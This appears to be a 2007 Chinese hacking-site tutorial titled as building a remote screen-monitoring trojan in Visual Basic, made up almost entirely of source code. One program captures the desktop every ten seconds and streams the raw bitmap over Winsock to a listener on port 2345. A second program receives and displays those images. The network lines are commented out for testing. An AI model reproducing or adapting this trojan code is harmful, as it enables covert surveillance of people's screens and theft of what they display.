通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 电信网通铁通移动   在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 红客教程 >> 网络编程 >> 文章正文
教你如何用VB打造远程屏幕监控木马
责任编辑:水土不服   更新日期:2007-4-5
 

本程序思路是通过定时截取屏幕图形,来作为被控端。源码如下所示

CODE:

Option Explicit
Private Type BITMAP
  bmType As Long
  bmWidth As Long
  bmHeight As Long
  bmWidthBytes As Long
  bmPlanes As Integer
  bmBitsPixel As Integer
  bmBits As Long
End Type
Private Declare Function GetObj Lib \"gdi32\" Alias \"GetObjectA\" (ByVal hObject As Long,
ByVal nCount As Long, lpObject As Any) As Long
Private Declare Function GetDesktopWindow Lib \"user32\" () As Long
Private Declare Function GetDC Lib \"user32\" (ByVal hwnd As Long) As Long
Private Declare Function ReleaseDC Lib \"user32\" (ByVal hwnd As Long, ByVal hdc As Long)
As Long
Private Declare Function BitBlt Lib \"gdi32\" (ByVal hDestDC As Long, ByVal x As Long,
ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal
xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long
Private Declare Sub CopyMemory Lib \"Kernel32\" Alias \"RtlMoveMemory\" (Destination As Any,
Source As Any, ByVal Length As Long)
Private Declare Function GetBitmapBits Lib \"gdi32\" (ByVal hBitmap As Long, ByVal dwCount
As Long, lpBits As Any) As Long
Private Declare Function SetBitmapBits Lib \"gdi32\" (ByVal hBitmap As Long, ByVal dwCount
As Long, lpBits As Any) As Long
Private Declare Function CreateCompatibleBitmap Lib \"gdi32\" (ByVal hdc As Long, ByVal
nWidth As Long, ByVal nHeight As Long) As Long
Private Declare Function CreateCompatibleDC Lib \"gdi32\" (ByVal hdc As Long) As Long
Private Declare Function SelectObject Lib \"gdi32\" (ByVal hdc As Long, ByVal hObject As
Long) As Long
Private Declare Function DeleteDC Lib \"gdi32\" (ByVal hdc As Long) As Long
Private Declare Function DeleteObject Lib \"gdi32\" (ByVal hObject As Long) As Long
Private MyHdc1 As Long, MyBmp1 As Long, MyOldBmp1 As Long, ScrW As Long, ScrH As Long
Private StartT As Single
Private Sub Form_Load()
Dim bm As BITMAP, BmpSize As Long
Timer1.Enabled = False   '间隔时间获取图形
Me.ScaleMode = 3
ScrW = Screen.Width \ Screen.TwipsPerPixelX
ScrH = Screen.Height \ Screen.TwipsPerPixelY
'这只是方便调试的示例,实用程序中,不用临时DC,可直接取窗体的BMP,会快一些
MyHdc1 = CreateCompatibleDC(FrmClient.hdc)
MyBmp1 = CreateCompatibleBitmap(FrmClient.hdc, ScrW, ScrH)
MyOldBmp1 = SelectObject(MyHdc1, MyBmp1)
'Ws2为WinSock控件,用于发送数据  
'Ws2.RemoteHost = InputBox(\"请输入远程服务器ip地址\", \"远程监控测试\", \"127.0.0.1\")
'Ws2.RemotePort = 2345
'Ws2.Connect
Timer1.Interval = 10000
Timer1.Enabled = True
End Sub
Private Sub Form_Unload(Cancel As Integer)
'Ws2.Close
SelectObject MyHdc1, MyOldBmp1
DeleteObject MyBmp1
DeleteDC MyHdc1
End Sub
Private Sub Timer1_Timer()
Dim i As Long, d As Long, b As Long, bm As BITMAP, dat() As Byte, BmpSize As Long
StartT = Timer
d = GetDesktopWindow
i = GetDC(d)
BitBlt MyHdc1, 0, 0, ScrW, ScrH, i, 0, 0, vbSrcCopy
ReleaseDC d, i
GetObj MyBmp1, Len(bm), bm
BmpSize = bm.bmWidthBytes * bm.bmHeight
ReDim dat(BmpSize - 1)
GetBitmapBits MyBmp1, BmpSize, dat(0)
ReDim Preserve dat(BmpSize + 1)
dat(BmpSize) = 13
dat(BmpSize + 1) = 10
'StartT = Timer
'Ws2.SendData dat
Debug.Print dat   'dat为获取到的屏幕图形数据
End Sub
Private Sub Ws2_Close()
StatusBar1.SimpleText = Ws2.RemoteHost & \" Disconnected..\"
Ws2.Close
End Sub
Private Sub Ws2_Connect()
StatusBar1.SimpleText = Ws2.RemoteHost & \" Connected..\"
End Sub
Private Sub Ws2_Error(ByVal Number As Integer, Description As String, ByVal Scode As
Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long,
CancelDisplay As Boolean)
On Error Resume Next
StatusBar1.SimpleText = Ws2.RemoteHost & \" Error : \" & Description
Ws2.Close
End Sub


'=============================================================
'项目名称:   Server (远程屏幕监控端)
'窗口名称:   FrmServer
'WinSock控件:Ws1
'StatusBar控件:StatusBar1 (注意:StatusBar1.Style = sbrSimple)
'=============================================================


Option Explicit
Private Type BITMAP
  bmType As Long
  bmWidth As Long
  bmHeight As Long
  bmWidthBytes As Long
  bmPlanes As Integer
  bmBitsPixel As Integer
  bmBits As Long
End Type
Private Declare Function GetObj Lib \"gdi32\" Alias \"GetObjectA\" (ByVal hObject As Long,
ByVal nCount As Long, lpObject As Any) As Long
Private Declare Function GetDesktopWindow Lib \"user32\" () As Long
Private Declare Function GetDC Lib \"user32\" (ByVal hwnd As Long) As Long
Private Declare Function ReleaseDC Lib \"user32\" (ByVal hwnd As Long, ByVal hdc As Long)
As Long
Private Declare Function BitBlt Lib \"gdi32\" (ByVal hDestDC As Long, ByVal x As Long,
ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal
xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long
Private Declare Sub CopyMemory Lib \"Kernel32\" Alias \"RtlMoveMemory\" (Destination As Any,
Source As Any, ByVal Length As Long)
Private Declare Function GetBitmapBits Lib \"gdi32\" (ByVal hBitmap As Long, ByVal dwCount
As Long, lpBits As Any) As Long
Private Declare Function SetBitmapBits Lib \"gdi32\" (ByVal hBitmap As Long, ByVal dwCount
As Long, lpBits As Any) As Long
Private Declare Function CreateCompatibleBitmap Lib \"gdi32\" (ByVal hdc As Long, ByVal
nWidth As Long, ByVal nHeight As Long) As Long
Private Declare Function CreateCompatibleDC Lib \"gdi32\" (ByVal hdc As Long) As Long
Private Declare Function SelectObject Lib \"gdi32\" (ByVal hdc As Long, ByVal hObject As
Long) As Long
Private Declare Function DeleteDC Lib \"gdi32\" (ByVal hdc As Long) As Long
Private Declare Function DeleteObject Lib \"gdi32\" (ByVal hObject As Long) As Long
Private ScrW As Long, ScrH As Long
Private MyHdc As Long, MyBmp As Long, MyOldBmp As Long, BmpDat() As Byte, RevByte As Long
Private StartT As Single
Private Sub Form_Load()
Dim bm As BITMAP, BmpSize As Long

On Error GoTo ErrLoad

Me.ScaleMode = 3
ScrW = Screen.Width \ Screen.TwipsPerPixelX
ScrH = Screen.Height \ Screen.TwipsPerPixelY
'这只是方便调试的示例,实用程序中,不用临时DC,可直接取窗体的BMP,会快一些
MyHdc = CreateCompatibleDC(FrmServer.hdc)
MyBmp = CreateCompatibleBitmap(FrmServer.hdc, ScrW, ScrH)
MyOldBmp = SelectObject(MyHdc, MyBmp)
 
GetObj MyBmp, Len(bm), bm
BmpSize = bm.bmWidthBytes * bm.bmHeight
ReDim BmpDat(BmpSize - 1)
GetBitmapBits MyBmp, BmpSize, BmpDat(0)
WS1.LocalPort = 2345
WS1.Listen

Exit Sub

ErrLoad:
MsgBox Error
End Sub
Sub getscreen()
End Sub
Private Sub Form_Unload(Cancel As Integer)
On Error Resume Next
WS1.Close
SelectObject MyHdc, MyOldBmp
DeleteObject MyBmp
DeleteDC MyHdc
End Sub
Private Sub WS1_Close()
StatusBar1.SimpleText = WS1.RemoteHostIP & \" Disconnected..\"
WS1.Close
If WS1.State = sckListening Then
  WS1.Close
Else
  WS1.LocalPort = 2345
  WS1.Listen
End If
End Sub
Private Sub Ws1_ConnectionRequest(ByVal requestID As Long)
If WS1.State <> sckClosed Then WS1.Close
StatusBar1.SimpleText = WS1.RemoteHostIP & \" Connecting..\"
WS1.Accept requestID
If WS1.State = 7 Then StatusBar1.SimpleText = WS1.RemoteHostIP & \" Connected..\"
End Sub
Private Sub Ws1_DataArrival(ByVal bytesTotal As Long)
Dim dat() As Byte, i As Long, nTime As Long

On Error Resume Next

WS1.GetData dat, vbArray Or vbByte
i = InStrB(1, dat, ChrB(13) & ChrB(10))
If i > 0 Then
  'StartT = Timer
  If i > 1 Then CopyMemory BmpDat(RevByte), dat(0), i - 1
  SetBitmapBits MyBmp, UBound(BmpDat) + 1, BmpDat(0)
  RevByte = 0
  '实用程序中,不用临时DC,下面一步可省
  BitBlt Me.hdc, 0, 0, Me.ScaleWidth, Me.ScaleHeight, MyHdc, 0, 0, vbSrcCopy
  nTime = Timer - Val(Me.Caption)
  Me.Caption = Timer - StartT
  If Len(StatusBar1.SimpleText) < 255 Then
    StatusBar1.SimpleText = nTime & \",\" & StatusBar1.SimpleText
  Else
    StatusBar1.SimpleText = nTime
  End If
  If bytesTotal > i + 1 Then
    RevByte = bytesTotal - i - 1
    CopyMemory BmpDat(0), dat(i + 1), RevByte
  End If
Else
  CopyMemory BmpDat(RevByte), dat(0), bytesTotal
  RevByte = RevByte + bytesTotal
End If

End Sub
Private Sub WS1_Error(ByVal Number As Integer, Description As String, ByVal Scode As
Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long,
CancelDisplay As Boolean)
StatusBar1.SimpleText = (\"Error : \" & Description)
End Sub
  • 上一篇文章:
  • 下一篇文章:
  • 最近更新
    固顶文章 爱国者安全网2007年度优秀版主评选
    普通文章 瑞星公司01月11日发布 每日计算机病毒及木马播报
    普通文章 破解博彩神助(专注彩票) V2.8.01
    推荐文章 推荐:跨站脚本执行漏洞代码的六点思路
    普通文章 Windows系统下的远程堆栈溢出 实战篇
    普通文章 Windows系统下的远程堆栈溢出 原理篇
    普通文章 MsSQLServer是如何加密口令的
    普通文章 浅谈国内的渗透评估过程
    普通文章 Dvbbs8.1 0DAY(通杀Access和mssql版本)
    普通文章 微软:我们的代码比赛门铁克更安全
    热门文章
    普通文章REAL蛀虫利用播放器漏洞下载恶意程序
    普通文章李彦宏:中国要在互联网领域逐渐超越美国
    普通文章马云:阿里巴巴的成功是一个生态链的成功
    普通文章Ingres用户认证非授权访问漏洞
    普通文章TCPreen FD_SET()函数远程栈溢出漏洞
    普通文章Winace UUE文件解压堆溢出漏洞
    普通文章Pclxav木马猎手第一代特征码引擎源代码
    普通文章IE收藏夹管理小精灵算法分析
    普通文章Extra Drive Pro算法分析历程
    普通文章雨过天晴自我注册
    精彩专题